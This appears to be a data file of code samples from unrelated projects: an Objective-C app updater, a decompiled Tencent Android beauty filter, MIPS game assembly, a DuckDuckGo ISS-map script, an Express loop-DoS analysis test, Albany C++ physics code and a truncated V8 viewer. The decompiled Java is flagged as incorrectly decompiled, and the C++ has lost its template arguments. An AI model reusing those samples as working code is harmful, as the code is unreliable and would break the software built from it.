NSLocalizedString(@\"A new version is available, relaunch the app to update\", @\"A new version is available, relaunch the app to update\");\n        } else {\n            alert.messageText = NSLocalizedString(@\"You're up to date!\", @\"You're up to date!\");\n            alert.informativeText = NSLocalizedString(@\"You have the latest version\", @\"You have the latest version\");\n        }\n        \n        [alert addButtonWithTitle:@\"Ok\"];\n        [alert runModal];\n    }];\n}\n\n- (BOOL)applicationShouldHandleReopen:(NSApplication *)sender hasVisibleWindows:(BOOL)flag\n{\n    [self.mainWindow makeKeyAndOrderFront:nil];\n    \n    return YES;\n}\n\n- (BOOL)applicationShouldOpenUntitledFile:(NSApplication *)sender\n{\n    [self.mainWindow makeKeyAndOrderFront:nil];\n    \n    return YES;\n}\n\n- (NSApplicationTerminateReply)applicationShouldTerminate:(NSApplication *)sender\n{\n    if ([UDUpdater sharedUpdater].isDownloadingUpdate) {\n        [self _enterDownloadingUpdateMode];\n        return NSTerminateLater;\n    } else {\n        return NSTerminateNow;\n    }\n}\n\n- (void)_enterDownloadingUpdateMode\n{\n    NSStoryboard *storyboard = [[self.mainWindow windowController] storyboard];\n    self.infoWC = [storyboard instantiateControllerWithIdentifier:@\"informativeWC\"];\n    self.infoWC.informativeTitle = NSLocalizedString(@\"Installing update\", @\"Installing update\");\n    self.infoWC.informativeText = NSLocalizedString(@\"Please wait while the latest version is downloaded and installed.\", @\"Please wait while the latest version is downloaded and installed.\");\n    [self.mainWindow beginCriticalSheet:self.infoWC.window completionHandler:nil];\n    \n    self.downloadingUpdateMode = YES;\n}\n\n- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary *)change context:(void *)context\n{\n    if ([keyPath isEqualToString:@\"isDownloadingUpdate\"]) {\n        if (self.isInDownloadingUpdateMode && ![UDUpdater sharedUpdater].isDownloadingUpdate) {\n            self.downloadingUpdateMode = NO;\n            [self.mainWindow endSheet:self.infoWC.window];\n            [[NSApplication sharedApplication] replyToApplicationShouldTerminate:YES];\n        }\n    } else {\n        return [super observeValueForKeyPath:keyPath ofObject:object change:change context:context];\n    }\n}\n\n- (void)dealloc\n{\n    [[UDUpdater sharedUpdater] removeObserver:self forKeyPath:@\"isDownloadingUpdates\"];\n}\n\n@end\n"}
+{"text": "package com.tencent.ttpic;\n\nimport android.graphics.PointF;\nimport android.opengl.GLES20;\nimport com.tencent.filter.BaseFilter;\nimport com.tencent.filter.GLSLRender;\nimport com.tencent.filter.h;\nimport com.tencent.filter.m.n;\nimport com.tencent.matrix.trace.core.AppMethodBeat;\nimport com.tencent.ttpic.PTFilter.PTAlphaFilter;\nimport com.tencent.ttpic.PTFilter.PTLongLegFilter;\nimport com.tencent.ttpic.PTFilter.PTSlimWaistFilter;\nimport com.tencent.ttpic.config.BeautyRealConfig;\nimport com.tencent.ttpic.config.BeautyRealConfig.TYPE;\nimport com.tencent.ttpic.filter.BeautyFaceList;\nimport com.tencent.ttpic.filter.BeautyParam;\nimport com.tencent.ttpic.filter.BeautyTransformList;\nimport com.tencent.ttpic.filter.ColorToneFilter;\nimport com.tencent.ttpic.filter.RemodelFilter;\nimport com.tencent.ttpic.filter.SmoothBFilters;\nimport com.tencent.ttpic.model.VideoMaterial;\nimport com.tencent.ttpic.util.BeautyRealUtil;\nimport com.tencent.ttpic.util.BenchUtil;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\npublic class PTGlamorize {\n    public static boolean ENABLE_GESTURE = true;\n    public static final String TAG = PTGlamorize.class.getSimpleName();\n    private static boolean isFaceDetectInited = false;\n    private float FACE_DETECT_IMG_WIDTH = 180.0f;\n    private boolean isUnInitSwapCopyFilter = true;\n    private double mAspectRatio = 0.5625d;\n    private BeautyFaceList mBeautyFaceList = new BeautyFaceList();\n    private h mBeautyFrame2 = new h();\n    private BeautyParam mBeautyParam;\n    private h mBeautyTransformCopyFrame = new h();\n    private BeautyTransformList mBeautyTransformList = new BeautyTransformList();\n    private ColorToneFilter mColorToneFilter = new ColorToneFilter();\n    private h mColorToneFrame = new h();\n    private BaseFilter mCopyFilter = new BaseFilter(GLSLRender.bJB);\n    private boolean mEnableLongLeg = true;\n    private boolean mEnableSlimWaist = true;\n    private PTFaceAttr mFaceAttr;\n    private double mFaceDetectScale = 0.1666666716337204d;\n    private int mFrameIndex = -1;\n    private int mHeightFrame = 0;\n    private PTFilter mPTAlphaFilter = new PTAlphaFilter();\n    private PTFilter mPTFilter;\n    private PTLongLegFilter mPTLongLegFilter = new PTLongLegFilter();\n    PTSegmentor mPTSegmentor = PTSegmentor.getInstance();\n    private PTSlimWaistFilter mPTSlimWaistFilter = new PTSlimWaistFilter();\n    private PTSticker mPTSticker;\n    private PTFaceDetector mPTfaceDectector = new PTFaceDetector();\n    private RemodelFilter mRemodelFilter = new RemodelFilter();\n    private int mRotationDegree = 0;\n    private PTSegAttr mSegAttr;\n    private SmoothBFilters mSmoothBFilters = new SmoothBFilters();\n    private BaseFilter mSwapCopyFilter = new BaseFilter(GLSLRender.bJB);\n    private h[] mSwapFrames = new h[2];\n    private h mTempFrame = new h();\n    private int mWidthFrame = 0;\n\n    public PTGlamorize() {\n        AppMethodBeat.i(80710);\n        AppMethodBeat.o(80710);\n    }\n\n    static {\n        AppMethodBeat.i(80730);\n        AppMethodBeat.o(80730);\n    }\n\n    public void init() {\n        int i = 0;\n        AppMethodBeat.i(80711);\n        this.mSmoothBFilters.initial();\n        this.mSmoothBFilters.setOnlyDetFaceRectSkin(false);\n        this.mBeautyTransformList.initial();\n        this.mColorToneFilter.ApplyGLSLFilter();\n        this.mBeautyFaceList.initial();\n        this.mRemodelFilter.init();\n        if (this.mPTFilter != null) {\n            this.mPTFilter.init();\n        }\n        this.mPTAlphaFilter.init();\n        this.mPTLongLegFilter.init();\n        this.mPTSlimWaistFilter.init();\n        this.mBeautyParam = new BeautyParam(true);\n        this.mBeautyParam.changeFaceMeshSet(1);\n        while (i < this.mSwapFrames.length) {\n            this.mSwapFrames[i] = new h();\n            i++;\n        }\n        try {\n            this.mPTfaceDectector.init();\n            this.mPTfaceDectector.getFaceDetector().clearActionCounter();\n            this.mPTSegmentor.init();\n            isFaceDetectInited = true;\n            AppMethodBeat.o(80711);\n        } catch (Exception e) {\n            AppMethodBeat.o(80711);\n        }\n    }\n\n    public void init(BeautyParam beautyParam) {\n    }\n\n    /* JADX WARNING: Removed duplicated region for block: B:51:0x01ad A:{Catch:{ Exception -> 0x0201 }} */\n    /* JADX WARNING: Removed duplicated region for block: B:57:0x01db A:{Catch:{ Exception -> 0x0204 }} */\n    /* Code decompiled incorrectly, please refer to instructions dump. */\n    public h process(h hVar) {\n        h hVar2;\n        AppMethodBeat.i(80712);\n        if (!(this.mWidthFrame == hVar.width && this.mHeightFrame == hVar.height)) {\n            this.mWidthFrame = hVar.width;\n            this.mHeightFrame = hVar.height;\n            this.mFaceDetectScale = (double) (180.0f / ((float) this.mWidthFrame));\n            if (this.mHeightFrame != 0) {\n                this.mAspectRatio = ((double) this.mWidthFrame) / ((double) this.mHeightFrame);\n            }\n        }\n        this.mFrameIndex = (this.mFrameIndex + 1) % 2;\n        if (this.isUnInitSwapCopyFilter) {\n            this.mSwapCopyFilter.ApplyGLSLFilter(true, (float) this.mWidthFrame, (float) this.mHeightFrame);\n            this.isUnInitSwapCopyFilter = false;\n        }\n        this.mSwapCopyFilter.nativeSetRotationAndFlip(0, 0, 1);\n        this.mSwapCopyFilter.RenderProcess(hVar.texture[0], this.mWidthFrame, this.mHeightFrame, -1, 0.0d, this.mSwapFrames[this.mFrameIndex]);\n        h hVar3 = this.mSwapFrames[this.mFrameIndex];\n        this.mRotationDegree = 0;\n        if (this.mPTSticker != null) {\n            GLES20.glFinish();\n        }\n        this.mFaceAttr = detectFace(hVar3, this.mRotationDegree, this.mWidthFrame);\n        PTSegmentor pTSegmentor = this.mPTSegmentor;\n        int i = this.mRotationDegree;\n        boolean z = this.mPTSticker != null && this.mPTSticker.isSegmentRequired();\n        this.mSegAttr = pTSegmentor.detectFrame(hVar3, i, z);\n        updateBeautyNormalFactor(((Integer) this.mFaceAttr.getHistogram().first).intValue());\n        h origFrame = this.mFaceAttr.getOrigFrame();\n        if (this.mPTFilter != null) {\n            hVar3 = this.mPTFilter.process(origFrame, this.mWidthFrame, this.mHeightFrame);\n            this.mPTAlphaFilter.getFilter().addParam(new n(\"inputImageTexture2\", origFrame.texture[0], 33986));\n            origFrame = this.mPTAlphaFilter.process(hVar3, this.mWidthFrame, this.mHeightFrame);\n        }\n        origFrame = renderBeautyFilter(origFrame, this.mFaceDetectScale);\n        if (this.mBeautyFaceList != null) {\n            this.mBeautyFaceList.updateVideoSize(this.mWidthFrame, this.mHeightFrame, this.mFaceDetectScale);\n        }\n        origFrame = renderBeautyFaceList(origFrame, this.mFaceAttr);\n        if (this.mColorToneFilter.needRender()) {\n            this.mColorToneFilter.RenderProcess(hVar.texture[0], hVar.width, hVar.height, -1, 0.0d, this.mColorToneFrame);\n            hVar2 = this.mColorToneFrame;\n        } else {\n            hVar2 = origFrame;\n        }\n        if (this.mFaceAttr != null && (this.mEnableLongLeg || this.mEnableSlimWaist)) {\n            List bodyPoints = this.mFaceAttr.getBodyPoints();\n            ArrayList arrayList = new ArrayList();\n            if (!bodyPoints.isEmpty()) {\n                bodyPoints = (List) bodyPoints.get(0);\n                int i2 = 0;\n                while (true) {\n                    i = i2;\n                    if (i >= bodyPoints.size()) {\n                        break;\n                    }\n                    arrayList.add(new PointF((float) (((double) ((PointF) bodyPoints.get(i)).x) / this.mFaceAttr.getFaceDetectScale()), (float) (((double) ((PointF) bodyPoints.get(i)).y) / this.mFaceAttr.getFaceDetectScale())));\n                    i2 = i + 1;\n                }\n            }\n            if (this.mEnableLongLeg) {\n                this.mPTLongLegFilter.setWaistLine(arrayList, this.mHeightFrame);\n                hVar2 = this.mPTLongLegFilter.process(hVar2, this.mWidthFrame, this.mHeightFrame);\n            }\n            if (this.mEnableSlimWaist && this.mPTSlimWaistFilter.setWaistRectangle(arrayList, this.mWidthFrame, this.mHeightFrame)) {\n                origFrame = this.mPTSlimWaistFilter.process(hVar2, this.mWidthFrame, this.mHeightFrame);\n                if (this.mPTSticker != null) {\n                    this.mPTSticker.updateVideoSize(this.mWidthFrame, this.mHeightFrame, this.mFaceAttr.getFaceDetectScale(), this.mRotationDegree);\n                    origFrame = this.mPTSticker.processTransformRelatedFilters(origFrame, this.mFaceAttr, this.mSegAttr);\n                }\n                hVar3 = origFrame;\n                origFrame = renderBeautyTransformList(hVar3, this.mFaceAttr, this.mSegAttr, this.mFaceDetectScale, (float) this.mRotationDegree);\n                if (this.mPTSticker != null) {\n                    origFrame = this.mPTSticker.processStickerFilters(origFrame, this.mFaceAttr, this.mSegAttr);\n                }\n                this.mSwapCopyFilter.RenderProcess(origFrame.texture[0], this.mWidthFrame, this.mHeightFrame, -1, 0.0d, this.mTempFrame);\n                origFrame = this.mTempFrame;\n                AppMethodBeat.o(80712);\n                return origFrame;\n            }\n        }\n        origFrame = hVar2;\n        try {\n            if (this.mPTSticker != null) {\n            }\n            hVar3 = origFrame;\n        } catch (Exception e) {\n            hVar3 = origFrame;\n        }\n        origFrame = renderBeautyTransformList(hVar3, this.mFaceAttr, this.mSegAttr, this.mFaceDetectScale, (float) this.mRotationDegree);\n        try {\n            if (this.mPTSticker != null) {\n            }\n        } catch (Exception e2) {\n        }\n        this.mSwapCopyFilter.RenderProcess(origFrame.texture[0], this.mWidthFrame, this.mHeightFrame, -1, 0.0d, this.mTempFrame);\n        origFrame = this.mTempFrame;\n        AppMethodBeat.o(80712);\n        return origFrame;\n    }\n\n    private void updateBeautyNormalFactor(int i) {\n        AppMethodBeat.i(80713);\n        if (this.mBeautyFaceList != null) {\n            float f;\n            if (i <= 40) {\n                f = 0.0f;\n            } else if (i >= 80) {\n                f = 1.0f;\n            } else {\n                f = (((float) i) - 40.0f) / 40.0f;\n            }\n            this.mBeautyFaceList.setNormalAlphaFactor(f);\n        }\n        AppMethodBeat.o(80713);\n    }\n\n    private PTFaceAttr detectFace(h hVar, int i, int i2) {\n        boolean z;\n        AppMethodBeat.i(80714);\n        float f = this.FACE_DETECT_IMG_WIDTH / ((float) i2);\n        boolean z2 = ENABLE_GESTURE && this.mPTSticker != null && this.mPTSticker.needDetectGesture();\n        BenchUtil.benchStart(\"PTFaceDetector\");\n        PTFaceDetector pTFaceDetector = this.mPTfaceDectector;\n        if (this.mEnableLongLeg || this.mEnableSlimWaist) {\n            z = true;\n        } else {\n            z = false;\n        }\n        PTFaceAttr detectFrame = pTFaceDetector.detectFrame(hVar, null, i, true, z2, z, (double) f);\n        BenchUtil.benchEnd(\"PTFaceDetector\");\n        AppMethodBeat.o(80714);\n        return detectFrame;\n    }\n\n    private h renderBeautyFaceList(h hVar, PTFaceAttr pTFaceAttr) {\n        AppMethodBeat.i(80715);\n        if (!(this.mBeautyFaceList == null || pTFaceAttr == null || this.mSmoothBFilters == null)) {\n            this.mBeautyFaceList.setLightRemovePouchSkinTexture(this.mSmoothBFilters.getVarianceFrame().texture[0]);\n            hVar = this.mBeautyFaceList.render(hVar, pTFaceAttr.getAllFacePoints());\n        }\n        AppMethodBeat.o(80715);\n        return hVar;\n    }\n\n    private h renderBeautyTransformList(h hVar, PTFaceAttr pTFaceAttr, PTSegAttr pTSegAttr, double d, float f) {\n        AppMethodBeat.i(80716);\n        if (this.mBeautyTransformList == null || pTFaceAttr == null) {\n            AppMethodBeat.o(80716);\n            return hVar;\n        }\n        h process = this.mBeautyTransformList.process(hVar, pTFaceAttr.getAllFacePoints(), d, pTFaceAttr.getAllFaceAngles(), f);\n        if (!(pTSegAttr == null || pTSegAttr.getMaskFrame() == null)) {\n            h maskFrame = pTSegAttr.getMaskFrame();\n            this.mCopyFilter.RenderProcess(maskFrame.texture[0], maskFrame.width, maskFrame.height, -1, 0.0d, this.mBeautyTransformCopyFrame);\n            pTSegAttr.setMaskFrame(this.mBeautyTransformList.process(this.mBeautyTransformCopyFrame, pTFaceAttr.getAllFacePoints(), this.mFaceDetectScale, pTFaceAttr.getAllFaceAngles(), (float) this.mRotationDegree));\n        }\n        hVar = this.mRemodelFilter.process(process, pTFaceAttr.getAllFacePoints(), pTFaceAttr.getAllFaceAngles(), d);\n        AppMethodBeat.o(80716);\n        return hVar;\n    }\n\n    private h renderBeautyFilter(h hVar, double d) {\n        AppMethodBeat.i(80717);\n        if (hVar.width > 0 && hVar.height > 0) {\n            List arrayList = new ArrayList();\n            if (this.mFaceAttr != null) {\n                arrayList = this.mFaceAttr.getAllFacePoints();\n            }\n            this.mSmoothBFilters.updateAndRender(hVar, this.mBeautyFrame2, arrayList, (int) (((double) hVar.width) * d), (int) (((double) hVar.height) * d), this.mRotationDegree);\n            hVar = this.mBeautyFrame2;\n        }\n        AppMethodBeat.o(80717);\n        return hVar;\n    }\n\n    public void clear() {\n        AppMethodBeat.i(80718);\n        this.mPTfaceDectector.destroy();\n        this.mPTSegmentor.destroy();\n        this.mSmoothBFilters.clear();\n        this.mBeautyTransformList.clear();\n        this.mColorToneFilter.clearGLSLSelf();\n        this.mBeautyFaceList.clear();\n        this.mRemodelFilter.clear();\n        if (this.mPTFilter != null) {\n            this.mPTFilter.destroy();\n        }\n        this.mPTAlphaFilter.destroy();\n        this.mPTLongLegFilter.destroy();\n        this.mPTSlimWaistFilter.destroy();\n        if (this.mPTSticker != null) {\n            this.mPTSticker.destroy();\n        }\n        this.mSwapCopyFilter.ClearGLSL();\n        this.mCopyFilter.ClearGLSL();\n        clearFrames();\n        AppMethodBeat.o(80718);\n    }\n\n    private void clearFrames() {\n        AppMethodBeat.i(80719);\n        this.mBeautyTransformCopyFrame.clear();\n        for (h hVar : this.mSwapFrames) {\n            if (hVar != null) {\n                hVar.clear();\n            }\n        }\n        this.mColorToneFrame.clear();\n        this.mBeautyFrame2.clear();\n        this.mTempFrame.clear();\n        AppMethodBeat.o(80719);\n    }\n\n    public void setBeautyLevel(TYPE type, int i) {\n        int i2 = 0;\n        AppMethodBeat.i(80720);\n        if (BeautyRealUtil.isCombinedType(type.value)) {\n            Map beautyLevels = BeautyRealUtil.getBeautyLevels(type.value, false);\n            if (beautyLevels.containsKey(TYPE.BEAUTY)) {\n                setAtomBeautyLevel(TYPE.BEAUTY, ((Integer) beautyLevels.get(TYPE.BEAUTY)).intValue());\n            }\n            if (beautyLevels.containsKey(TYPE.BASIC3)) {\n                setAtomBeautyLevel(TYPE.BASIC3, ((Integer) beautyLevels.get(TYPE.BASIC3)).intValue());\n            }\n            TYPE[] typeArr = BeautyRealConfig.SINGLE_TRANS_TYPE_574;\n            int length = typeArr.length;\n            while (i2 < length) {\n                Object obj = typeArr[i2];\n                setAtomBeautyLevel(obj, ((Integer) beautyLevels.get(obj)).intValue());\n                i2++;\n            }\n            AppMethodBeat.o(80720);\n        } else if (type == TYPE.LIPS_THICKNESS) {\n            setAtomBeautyLevel(type, 0 - i);\n            AppMethodBeat.o(80720);\n        } else {\n            setAtomBeautyLevel(type, i);\n            AppMethodBeat.o(80720);\n        }\n    }\n\n    private void setAtomBeautyLevel(TYPE type, int i) {\n        AppMethodBeat.i(80721);\n        switch (type) {\n            case BEAUTY:\n                this.mSmoothBFilters.updateBlurAlpha((((float) i) * 0.8f) / 100.0f);\n                AppMethodBeat.o(80721);\n                return;\n            case COLOR_TONE:\n                this.mColorToneFilter.updateAlpha(((float) i) / 100.0f);\n                AppMethodBeat.o(80721);\n                return;\n            case REMOVE_POUNCH:\n                this.mBeautyFaceList.setRemovePounchAlpha(((float) i) / 100.0f);\n                AppMethodBeat.o(80721);\n                return;\n            case EYE_LIGHTEN:\n                this.mBeautyFaceList.setEyeLightenAlpha(((float) i) / 100.0f);\n                AppMethodBeat.o(80721);\n                return;\n            case TOOTH_WHITEN:\n                this.mBeautyFaceList.setToothWhitenAlpha(((float) i) / 80.0f);\n                AppMethodBeat.o(80721);\n                return;\n            case FOREHEAD:\n            case EYE:\n            case EYE_DISTANCE:\n            case EYE_ANGLE:\n            case MOUTH_SHAPE:\n            case CHIN:\n            case FACE_THIN:\n            case FACE_V:\n            case NOSE_WING:\n            case NOSE_POSITION:\n            case LIPS_THICKNESS:\n            case LIPS_WIDTH:\n                this.mRemodelFilter.setParam(type.value, (float) i);\n                AppMethodBeat.o(80721);\n                return;\n            case BASIC3:\n            case FACE_SHORTEN:\n            case NOSE:\n                this.mBeautyTransformList.setBeautyParam(type.value, BeautyRealUtil.getDistortParam(this.mBeautyParam.getDistortList(type.value), i, type.value));\n                break;\n        }\n        AppMethodBeat.o(80721);\n    }\n\n    public void setCosmeticMaterial(VideoMaterial videoMaterial, int i) {\n        AppMethodBeat.i(80722);\n        if (this.mPTSticker != null) {\n            this.mPTSticker.destroy();\n            this.mPTSticker = null;\n        }\n        if (!(videoMaterial == null || videoMaterial.getDataPath() == null || videoMaterial.getId() == null)) {\n            this.mPTSticker = new PTSticker(videoMaterial, this.mPTfaceDectector.getFaceDetector());\n            this.mPTSticker.init();\n            setCosmeticAlpha(i);\n        }\n        AppMethodBeat.o(80722);\n    }\n\n    public void setCosmeticAlpha(int i) {\n        AppMethodBeat.i(80723);\n        if (this.mPTSticker != null) {\n            this.mPTSticker.updateCosAlpha(i);\n        }\n        AppMethodBeat.o(80723);\n    }\n\n    public void changeFilter(int i, int i2) {\n        AppMethodBeat.i(80724);\n        if (this.mPTFilter != null) {\n            this.mPTFilter.destroy();\n            this.mPTFilter = null;\n        }\n        if (FilterEnum4Shaka.contains(i)) {\n            this.mPTFilter = new PTFilter();\n            this.mPTFilter.setFilter(FilterPlus.createFilter(i));\n            this.mPTFilter.getFilter().needFlipBlend = true;\n            this.mPTFilter.getFilter().setEffectIndex(i2);\n        } else {\n            this.mPTFilter = PTFilter.createById(i, i2);\n        }\n        if (this.mPTFilter == null) {\n            AppMethodBeat.o(80724);\n            return;\n        }\n        this.mPTFilter.init();\n        AppMethodBeat.o(80724);\n    }\n\n    public void adjustFilterParam(float f) {\n        AppMethodBeat.i(80725);\n        if (this.mPTAlphaFilter != null) {\n            this.mPTAlphaFilter.getFilter().setAdjustParam(1.0f - f);\n        }\n        AppMethodBeat.o(80725);\n    }\n\n    public void setEnableLongLeg(boolean z) {\n        AppMethodBeat.i(80726);\n        this.mEnableLongLeg = z;\n        if (this.mEnableLongLeg && ((double) this.mPTLongLegFilter.getStrength()) < 1.0E-5d) {\n            this.mEnableLongLeg = false;\n        }\n        AppMethodBeat.o(80726);\n    }\n\n    public void setLongLegStrength(float f) {\n        AppMethodBeat.i(80727);\n        if (this.mPTLongLegFilter != null) {\n            this.mPTLongLegFilter.setStrength(f);\n            if (((double) this.mPTLongLegFilter.getStrength()) < 1.0E-5d) {\n                this.mEnableLongLeg = false;\n                AppMethodBeat.o(80727);\n                return;\n            }\n            this.mEnableLongLeg = true;\n        }\n        AppMethodBeat.o(80727);\n    }\n\n    public void setmEnableSlimWaist(boolean z) {\n        AppMethodBeat.i(80728);\n        this.mEnableSlimWaist = z;\n        if (this.mEnableSlimWaist && ((double) this.mPTSlimWaistFilter.getStrength()) < 1.0E-5d) {\n            this.mEnableSlimWaist = false;\n        }\n        AppMethodBeat.o(80728);\n    }\n\n    public void setSlimWaistStrength(float f) {\n        AppMethodBeat.i(80729);\n        if (this.mPTSlimWaistFilter != null) {\n            this.mPTSlimWaistFilter.setStrength(f);\n            if (((double) this.mPTSlimWaistFilter.getStrength()) < 1.0E-5d) {\n                this.mEnableSlimWaist = false;\n                AppMethodBeat.o(80729);\n                return;\n            }\n            this.mEnableSlimWaist = true;\n        }\n        AppMethodBeat.o(80729);\n    }\n}\n"}
+{"text": "glabel BgHidanSekizou_Destroy\n/* 0052C 8088D3EC 27BDFFE8 */  addiu   $sp, $sp, 0xFFE8           ## $sp = FFFFFFE8\n/* 00530 8088D3F0 AFA40018 */  sw      $a0, 0x0018($sp)           \n/* 00534 8088D3F4 8FAE0018 */  lw      $t6, 0x0018($sp)           \n/* 00538 8088D3F8 AFBF0014 */  sw      $ra, 0x0014($sp)           \n/* 0053C 8088D3FC 00A03825 */  or      $a3, $a1, $zero            ## $a3 = 00000000\n/* 00540 8088D400 00A02025 */  or      $a0, $a1, $zero            ## $a0 = 00000000\n/* 00544 8088D404 8DC6014C */  lw      $a2, 0x014C($t6)           ## 0000014C\n/* 00548 8088D408 AFA7001C */  sw      $a3, 0x001C($sp)           \n/* 0054C 8088D40C 0C00FB56 */  jal     DynaPolyInfo_Free\n              ## DynaPolyInfo_delReserve\n/* 00550 8088D410 24A50810 */  addiu   $a1, $a1, 0x0810           ## $a1 = 00000810\n/* 00554 8088D414 8FA50018 */  lw      $a1, 0x0018($sp)           \n/* 00558 8088D418 8FA4001C */  lw      $a0, 0x001C($sp)           \n/* 0055C 8088D41C 0C016F32 */  jal     Collider_DestroyJntSph              \n/* 00560 8088D420 24A50174 */  addiu   $a1, $a1, 0x0174           ## $a1 = 00000174\n/* 00564 8088D424 8FBF0014 */  lw      $ra, 0x0014($sp)           \n/* 00568 8088D428 27BD0018 */  addiu   $sp, $sp, 0x0018           ## $sp = 00000000\n/* 0056C 8088D42C 03E00008 */  jr      $ra                        \n/* 00570 8088D430 00000000 */  nop\n"}
+{"text": "(function(env) {\n    \"use strict\";\n    env.ddg_spice_isslocation = function(api_result) {\n        \n       if (!api_result || !api_result.message || api_result.message !== \"success\"){\n            return Spice.failed('isslocation');\n        }\n        var issLatitude = (Math.round(api_result.iss_position.latitude * 100) / 100).toFixed(2);\n        var issLongitude = (Math.round(api_result.iss_position.longitude * 100) / 100).toFixed(2);\n    \n        DDG.require('maps', function() {\n            Spice.add({\n                id: \"isslocation\",\n                name: \"Map\",\n                model: 'Place',\n \n                view: 'Map',\n                data: [{\n                    url: \"http://www.nasa.gov/mission_pages/station/main/index.html\",\n                    display_name: \"International Space Station\",\n                    name: \"International Space Station\",\n                    lat: issLatitude,\n                    lon: issLongitude\n                }],\n                meta: {\n                    zoomLevel: 3,\n                    sourceName: \"open-notify.org\",\n                    sourceUrl: 'http://open-notify.org'\n                },\n                normalize: function(item) {\n \n                    return {\n                        lat: issLatitude,\n                        lon: issLongitude\n                    };\n                }\n            });\n        });\n    }\n}(this));\n"}
+{"text": "var express = require('express');\nvar router = new express.Router();\nvar rootRoute = router.route('foobar');\n\nvar _ = require(\"lodash\");\n\nrootRoute.post(function (req, res) {\n\tbreaks(req.body);\n\t\n\tthrows(req.body);\n\t\n\treturns(req.body);\n\t\n\tlodashThrow(req.body);\n});\n\nfunction breaks(val) {\n\tvar ret = [];\n\t\n\tfor (var i = 0; i < val.length; i++) { // OK\n\t  if (val[i] == null) {\n\t\t  break; // Prevents DoS.\n\t  }\n      ret.push(val[i]);\n    }\n}\n\nfunction throws(val) {\n\tvar ret = [];\n\t\n\tfor (var i = 0; i < val.length; i++) { // OK\n\t  if (val[i] == null) {\n\t\t  throw 2; // Prevents DoS.\n\t  }\n      ret.push(val[i]);\n    }\n}\n\n// The obvious null-pointer detection should not hit this one.\nfunction returns(val) {\n\tvar ret = [];\n\t\n\tfor (var i = 0; i < val.length; i++) { // OK\n\t  if (val[i] == null) {\n\t\t  return 2; // Prevents DoS.\n\t  }\n      ret.push(val[i]);\n    }\n}\n\nfunction lodashThrow(val) {\n\t_.map(val, function (e) { // OK\n\t\tif (!e) {\n\t\t\tthrow new Error(); // Prevents DoS.\n\t\t}\n\t})\n}\n"}
+{"text": "//*****************************************************************//\n//    Albany 3.0:  Copyright 2016 Sandia Corporation               //\n//    This Software is released under the BSD license detailed     //\n//    in the file \"license.txt\" in the top-level Albany directory  //\n//*****************************************************************//\n\n#include \"Teuchos_TestForException.hpp\"\n#include \"Phalanx_DataLayout.hpp\"\n\n#include \"Intrepid2_FunctionSpaceTools.hpp\"\n\nnamespace PHAL {\n\n//**********************************************************************\ntemplate\nNSTauM::\nNSTauM(const Teuchos::ParameterList& p) :\n  V           (p.get                   (\"Velocity QP Variable Name\"),\n\t       p.get >(\"QP Vector Data Layout\") ),\n  Gc            (p.get                   (\"Contravarient Metric Tensor Name\"),\n                 p.get >(\"QP Tensor Data Layout\") ),\n  rho       (p.get                   (\"Density QP Variable Name\"),\n\t       p.get >(\"QP Scalar Data Layout\") ),\n  mu       (p.get                   (\"Viscosity QP Variable Name\"),\n               p.get >(\"QP Scalar Data Layout\") ),\n  TauM            (p.get                 (\"Tau M Name\"),\n                 p.get >(\"QP Scalar Data Layout\") )\n  \n{\n  this->addDependentField(V.fieldTag());\n  this->addDependentField(Gc.fieldTag());\n  this->addDependentField(rho.fieldTag());\n  this->addDependentField(mu.fieldTag());\n \n  this->addEvaluatedField(TauM);\n\n  Teuchos::RCP vector_dl =\n    p.get< Teuchos::RCP >(\"QP Vector Data Layout\");\n  std::vector dims;\n  vector_dl->dimensions(dims);\n  numCells = dims[0];\n  numQPs  = dims[1];\n  numDims = dims[2];\n\n  this->setName(\"NSTauM\" );\n}\n\n//**********************************************************************\ntemplate\nvoid NSTauM::\npostRegistrationSetup(typename Traits::SetupData d,\n                      PHX::FieldManager& fm)\n{\n  this->utils.setFieldData(V,fm);\n  this->utils.setFieldData(Gc,fm);\n  this->utils.setFieldData(rho,fm);\n  this->utils.setFieldData(mu,fm);\n  \n  this->utils.setFieldData(TauM,fm);\n\n  // Allocate workspace\n  normGc = Kokkos::createDynRankView(Gc.get_view(), \"XXX\", numCells, numQPs);\n}\n\n//**********************************************************************\ntemplate\nvoid NSTauM::\nevaluateFields(typename Traits::EvalData workset)\n{ \n    for (std::size_t cell=0; cell < workset.numCells; ++cell) {\n      for (std::size_t qp=0; qp < numQPs; ++qp) {       \n        TauM(cell,qp) = 0.0;\n        normGc(cell,qp) = 0.0;\n        for (std::size_t i=0; i < numDims; ++i) {\n          for (std::size_t j=0; j < numDims; ++j) {\n            TauM(cell,qp) += rho(cell,qp)*rho(cell,qp)*V(cell,qp,i)*Gc(cell,qp,i,j)*V(cell,qp,j);\n            normGc(cell,qp) += Gc(cell,qp,i,j)*Gc(cell,qp,i,j);          \n          }\n        }\n        TauM(cell,qp) += 12.*mu(cell,qp)*mu(cell,qp)*std::sqrt(normGc(cell,qp));\n        TauM(cell,qp) = 1./std::sqrt(TauM(cell,qp));\n      }\n    }\n  \n\n}\n\n//**********************************************************************\n}\n\n"}
+{"text": "// Copyright 2015 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n\"use strict\";\n\nclass ScheduleView extends TextView {\n  constructor(id, broker, nodePositionMap) {\n    super(id, broker, null, false);\n    let view = this;\n    let BLOCK_STYLE = {\n      css: 'tag'\n    };\n    const BLOCK_HEADER_STYLE = {\n      css: 'com',\n      block_id: -1,\n      location: function(text) {\n        let matches = /\\d+/.exec(text);\n        if (!matches) return undefined;\n        BLOCK_HEADER_STYLE.block_id = Number(matches[0]);\n        return {\n          block_id: BLOCK_HEADER_STYLE.block_id\n        };\n      },\n    };\n    const BLOCK_LINK_STYLE = {\n      css: 'tag',\n      link: function(text) {\n        let id = Number(text.substr(1));\n        view.select(function(location) { return location.block_id == id; }, true, true);\n      }\n    };\n    const ID_STYLE = {\n      css: 'tag',\n      location: function(text) {\n        let matches = /\\d+/.exec(text);\n        return {\n          node_id: Number(matches[0]),\n          block_id: BLOCK_HEADER_STYLE.block_id\n        };\n      },\n    };\n    const ID_LINK_STYLE = {\n      css: 'tag',\n      link: function(text) {\n        let id = Number(text);\n        view.select(function(location) { return location.node_id == id; }, true, true);\n      }\n    };\n    const NODE_STYLE = { css: 'kwd' };\n    const GOTO_STYLE = { css: 'kwd',\n      goto_id: -2,\n      location: function(text) {\n        return {\n          node_id: GOTO_STYLE.goto_id--,\n          block_id: 